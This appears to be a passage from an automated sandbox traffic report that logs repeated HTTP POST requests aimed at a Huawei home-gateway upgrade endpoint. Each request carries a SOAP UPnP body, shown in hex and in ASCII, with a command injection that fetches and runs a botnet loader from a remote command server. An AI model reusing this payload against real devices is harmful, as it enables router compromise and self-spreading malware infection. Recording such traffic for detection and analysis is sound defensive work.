20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 